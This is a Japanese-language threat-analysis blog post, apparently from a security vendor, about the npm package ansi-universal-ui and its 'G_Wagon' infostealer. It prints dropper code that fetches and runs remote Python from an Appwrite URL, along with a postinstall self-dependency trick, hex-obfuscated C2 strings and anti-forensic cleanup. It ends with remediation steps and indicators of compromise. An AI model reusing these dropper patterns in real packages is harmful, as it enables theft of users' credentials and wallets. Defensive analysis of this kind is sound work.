2026年1月23日UTC午前8時46分、当社のマルウェア検出システムが、あるパッケージを検出しました。 ansi-universal-ui。その名前は退屈なUIコンポーネントライブラリのように聞こえます。説明には「現代のウェブアプリケーション向けの、軽量でモジュール式のUIコンポーネントシステム」とあります。非常にプロフェッショナルで、ごく普通です。しかし、実際はそうではありません。
私たちが発見したのは、自身のPythonランタイムをダウンロードし、高度に難読化されたペイロードを実行し、ブラウザの認証情報、暗号資産ウォレット、クラウド認証情報、およびDiscordトークンをAppwriteストレージバケットへ窃取する、洗練された多段階のインフォスティーラーです。また、組み込みのWindows DLLを搭載しており、NTネイティブAPIを使用してブラウザプロセスにインジェクションされます。このマルウェアは内部的に「G_Wagon」と自称していますが、これはおそらく作者が高価なものを好むためでしょう。
リアルタイムでの攻撃の展開を監視する
これは興味深いものです。なぜなら、私たちは開発プロセス全体を見ることができるからです。攻撃者は2日間で10バージョンを公開し、各バージョンが物語の一部を語っています。
1日目(1月21日) - ドロッパーインフラストラクチャのテスト:
- v1.0.0 (UTC 15:54): npmのtarモジュールを使用した初期スキャフォールド
- v1.2.0 (UTC 16:03):システムtarに切り替え、最初の自己依存性
- v1.3.2 (UTC 16:09): postinstallフックを追加(ペイロードはまだなし)
- v1.3.3 (UTC 16:18):リダイレクトバグを修正
2日目(1月23日) - 兵器化:
- v1.3.5 (UTC 08:46):C2 URLを追加、偽のブランディング、プレースホルダーを削除
- v1.3.6 (UTC 08:53): 二重実行のために自己依存性を再有効化
- v1.3.7 (UTC 09:09):アンチフォレンジックを追加、ログメッセージをサニタイズ
- v1.4.0 (UTC 12:27): フランクフルトのC2に切り替え、ペイロードはstdinを介してパイプ処理される(ディスクに触れない)
- v1.4.1 (UTC 12:48):難読化、16進数エンコードされた文字列、デコイUIクラスを追加
- v1.4.2 (13:06 UTC): バグ修正 (v1.4.1でPythonパスに問題が発生しました)
攻撃者は活発に試行を繰り返しています。この投稿を執筆している間にも、彼らはさらに3つのバージョンをプッシュしました。
テストフェーズ
初期バージョン(1.0.0 から 1.3.3)にはすべて「 py.py 」というファイルが含まれており、その内容は以下の通りでした。
print("python code executed!")それだけです。実行チェーンが機能したかをテストするための単なるプレースホルダーでした。攻撃者はインフラを構築していました。
v1.2.0では、興味深い変更が行われました。npm tarの依存関係が削除され、システムのtarコマンドを直接起動するように切り替えられました。
- const tar = require('tar');
+ const https = require('https');
- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);
+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);なぜでしょうか?npmの依存関係が少ないということは、検出対象となる表面積が少ないことを意味します。また、npmから何もインストールすることなくパッケージが動作することも意味します。
しかし、彼らはバグを導入しました。リダイレクト処理が実際には機能しなかったのです。
if (res.statusCode === 302 || res.statusCode === 301) {
downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
return;
}
これはv1.3.3で修正されました。
if (res.statusCode === 302 || res.statusCode === 301) {
const newUrl = res.headers.location;
downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
return;
}
これが、1.3.3と1.3.5の間にバージョンギャップが見られる理由です。彼らはテストを行い、バグに遭遇し、それを修正し、機能することを確認した後、2日後に戻ってそれを悪用しました。
悪用
バージョン1.3.5ですべてが変わります。主要な差分を見てみましょう。
- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');ローカルのプレースホルダーを実行する代わりに、Appwriteストレージバケットからペイロードをダウンロードするようになりました。
彼らはまた、最終バージョンで削除された意味深なコメントを追加しました。
// console.log("Fetching latest logic..."); // Uncomment if you want them to see this攻撃者は明らかにオペレーションセキュリティを考慮していました。
偽のブランディング
バージョン1.3.5では、正当性も追加されました。package.jsonは次のように変更されました。
{
"description": "A cross-platform tool powered by Python"
}
に:
{
"description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
"keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
"author": "Universal Design Team",
"license": "MIT"
}
彼らは README.md バズワードでいっぱいの
Universal UIは、高性能なインターフェースレンダリングのために設計された宣言型コンポーネントプリミティブライブラリです。最新のアプリケーションアーキテクチャ全体で、ビジュアルステート、テーマ、レイアウトシステムを管理するための統合されたレイヤーを提供します。
そして、私のお気に入りは次のとおりです。
Virtual Rendering Engine: ステート変更時のスムーズな遷移と最小限の再描画を保証する、最適化された差分アルゴリズムです。
これらはすべて架空のものです。ThemeProviderは存在しません。Virtual Rendering Engineもありません。あるのはマルウェアだけです。
自己依存のトリック
v1.3.7のpackage.jsonをご覧ください。
{
"scripts": {
"postinstall": "node index.js"
},
"dependencies": {
"ansi-universal-ui": "^1.3.5"
}
}
このパッケージは自身に依存しています。バージョン1.3.7はバージョン^1.3.5を必要とします。npmがパッケージをインストールすると、postinstallフックが実行されます。その後、依存関係(自身の古いバージョン)をインストールし、これによりpostinstallフックが再度実行されます。二重実行です。
興味深いことに、これはv1.3.5で削除され、v1.3.6で再度追加されました。おそらく問題が発生するかどうかをテストしていたのでしょう。
フォレンジック対策
バージョン1.3.7では、実行後にペイロードを削除するためのクリーンアップコードが追加されました。
child.on('close', (code) => {
try {
if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
fs.unlinkSync(LOCAL_SCRIPT_PATH);
}
} catch (cleanupErr) {
// Ignore cleanup errors
}
process.exit(code);
});
また、ログメッセージもサニタイズされました。
- console.log("Python環境をセットアップ中...");
+ console.log("UIランタイムを初期化中...");「Python環境をセットアップ中」は疑わしいです。「UIランタイムを初期化中」は、正当なUIライブラリがUIライブラリの処理を行っているように聞こえます。
進化を続ける:v1.4.x
このマルウェアを分析している間に、攻撃者はさらに2つのバージョンをプッシュしました。彼らは学習しています。
v1.4.0 重要な変更が加えられました。Pythonペイロードがディスクに触れなくなりました。ファイルにダウンロードして実行する代わりに、ドロッパーはC2からbase64エンコードされたPythonを取得し、メモリ内でデコードし、それを直接 python - 標準入力経由で:
e
const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');
const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();削除するファイルはありません。痕跡も残りません。
v1.4.1では、難読化がさらに進みました。C2のURLは、16進数エンコードされたチャンクに分割されています。
const _ui_assets = [
"68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
"3639363865613536303033313663313238663232",
"2f66696c65732f",
"363937333638333830303333343933353735373..."
];
const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');彼らはまた、デコイクラスを追加し、コードが実際のUIライブラリのように見えるようにしました。
class LayoutCompute {
constructor() { this.matrix = new Float32Array(16); this.x = 0; }
mount(v) { return (v << 2) ^ 0xAF; }
sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}
ディレクトリは以下からリネームされました python_runtime to lib_core/renderer。変数も pythonCode となりました _texture_data。関数も setupPython となりました _init_layer。すべてがグラフィックレンダリングコードのように聞こえるようになりました。
また、彼らはNYCエンドポイントを放棄し、Frankfurt C2サーバーに排他的に切り替えました。
v1.4.2は18分後にリリースされました。彼らは何かを壊しました。コード内のコメントがすべてを物語っています。
// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure
In v1.4.1、彼らは審美的な難読化のためにディレクトリを「renderer」にリネームしましたが、Pythonのtarballは「」というフォルダーに展開されます。 python。おっと。マルウェアは動作しなかったでしょう。 v1.4.2 は、hex encodingを維持しつつこれを修正します。
ステージ2: G_Wagon Stealer
Pythonペイロードは、事態が面白くなる部分です。コードは1文字の変数名と文字列定数で難読化されていますが、内容を読み解けばその機能は明確です。
マルウェアが最初に行うのは、「」というファイルをチェックすることです。 .gwagon_status ホームディレクトリに。このファイルにはカウンターが含まれています。すでに2回感染している場合、実行を停止します。同じデータを繰り返し盗む必要はありません。
その後、動作を開始します。
ブラウザの認証情報: この情報窃取マルウェアは、WindowsとmacOSの両方でChrome、Edge、Braveを標的とします。Windowsでは、ブラウザプロセスを終了させ、Chrome DevTools Protocolを有効にした新しいインスタンスを生成し、すべてのCookieを抽出します。また、Windows Data Protection APIを使用して保存されたパスワードを復号します。macOSでは、Keychainから暗号化キーを抽出し、OpenSSLを使用してログインデータを復号します。
暗号通貨ウォレット: これが真の標的です。マルウェアは100以上のブラウザウォレット拡張機能を標的にしています。MetaMask、Phantom、Coinbase Wallet、Trust Wallet、Ledger Live、Trezor、Exodusなど、数十種類に及びます。見つかった各ウォレットの拡張機能データディレクトリ全体をコピーします。
全リストには、Ethereum、Solana、Cosmos、Polkadot、Cardano、TON、Bitcoin Ordinals、その他考えられるほぼすべてのブロックチェーンエコシステムのウォレットが含まれます。
クラウド認証情報: マシンでAWS CLI、Azure CLI、またはGoogle Cloud SDKを設定したことがある場合、マルウェアは認証情報ファイルをコピーします。SSHキーとkubeconfigについても同様です。単一のzipファイルでアクセス可能になる可能性のある、クラウドインフラ全体が標的となります。
メッセージングトークンDiscordトークンの窃取は長年にわたりnpmマルウェアの常套手段となっており、G_Wagonも期待を裏切りません。Telegramの tdata ディレクトリとSteam認証ファイルも取得します。
データ流出
窃取されたすべてのデータはZIP圧縮され、攻撃者のAppwriteバケットにアップロードされます。ファイル名は以下のパターンに従います。 {username}@{hostname}_{browser}_{profile}_{original_file}.
このマルウェアには2つのC2サーバーが設定されています。
- プライマリ:
nyc.cloud.appwrite[.]io(プロジェクトID:6886229e003d46469fab) - バックアップ:
fra.cloud.appwrite[.]io(プロジェクトID:6968e9e9000ee4ac710c)
大容量ファイルの場合、データは5MBのチャンクに分割され、順次アップロードされます。50MBを超えるファイルは45MBのパーツに分割されます。作者は、大量の貴重なデータを持つ被害者を明確に想定していました。
DLLインジェクション
このスティーラーを際立たせるもう一つの要素があります。Pythonコードには、XOR暗号化されたWindows DLLである、大量のBase64エンコードされたブロブが含まれています。
c='+qmQZ9cVqpo....==' # 簡潔にするため編集済み - 実際のブロブははるかに大きいコードはこれをBase64デコードし、ハードコードされたキーでXOR復号化し、その後、NTネイティブAPIを使用してブラウザプロセスにインジェクションします。 NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory、および NtCreateThreadEx.
このマルウェアには、エクスポートテーブルを走査して「Initialize」という名前の関数を探す完全なPEパーサーが搭載されています。それがインジェクション後に呼び出すエントリポイントです。
対策と検出
インストールしている場合 ansi-universal-ui、直ちに行うべきことは以下の通りです。
- プロジェクトからパッケージを削除し、node_modulesを削除します
- を確認します
.gwagon_statusファイルがホームディレクトリに存在するか確認します(存在する場合、感染している可能性があります) - ブラウザに保存されているすべてのパスワードをローテーションします
- ブラウザ拡張機能としてインストールされているすべての仮想通貨ウォレットのトークンを失効させ、再生成します(侵害されていると見なしてください)
- AWS/Azure/GCPのCLIを使用している場合は、認証情報をローテーションします
- SSHキーを再生成します
- DiscordおよびTelegramのセッションを無効にします
Aikidoを使用して影響を受けているかどうかを確認する方法:
Aikidoユーザーの場合、中央フィードを確認し、マルウェアの問題でフィルタリングしてください。この脆弱性は、フィード内で100/100のクリティカルな問題として表示されます。ヒント:Aikidoはリポジトリを毎晩再スキャンしますが、フルスキャンもトリガーすることをお勧めします。
Aikidoユーザーでない場合は、アカウントを設定し、リポジトリを接続してください。独自のマルウェアカバレッジは無料プランに含まれており、クレジットカードは不要です。
将来的な保護のため、npm、npx、yarn、その他のパッケージマネージャー向けのセキュアなラッパーであるオープンソースのAikido Safe Chainのご利用をご検討ください。Safe Chainは現在のワークフローに組み込まれます。これは、npm、npx、yarn、pnpm、およびpnpxコマンドを傍受し、インストール前にパッケージを当社のオープンソース脅威インテリジェンスフィードであるAikido Intelに対してマルウェアがないか検証することで機能します。脅威がマシンに到達する前に阻止しましょう。
侵害の痕跡
パッケージ
- 名前:
ansi-universal-ui - 悪意のあるバージョン: 1.3.5、 1.3.6、 1.3.7、 1.4.0、 1.4.1
ファイルハッシュ (SHA256)
- v1.0.0 index.js:
7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85 - v1.2.0 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 - v1.3.2 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1(同一) v1.2.0) - v1.3.3 index.js:
1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7 - v1.3.5 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(悪意のある) - v1.3.6 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(同一) v1.3.5、悪意のある) - v1.3.7 index.js:
eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c(悪意のある) - v1.4.0 index.js:
ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432(悪意のある) - v1.4.1 index.js:
a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52(悪意のある) - py.py (全バージョン):
e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941
注: v1.3.5 そして v1.3.6 同一の index.js ファイル(のみ package.json 変更されました)。 v1.2.0 そして v1.3.2 も同一です(postinstallフックのみが追加されました)。
ネットワーク
hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab(v1.3.x)hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c(v1.4.x)- Appwrite Project ID(NYC):
6886229e003d46469fab - Appwrite Project ID(FRA):
6968e9e9000ee4ac710c - Appwrite Bucket ID(NYC):
688625a0000f8a1b71e8 - Appwrite Bucket ID(FRA):
6968ea5600316c128f22
ファイルシステム
~/.gwagon_status(実行カウンター、Windowsでは非表示)

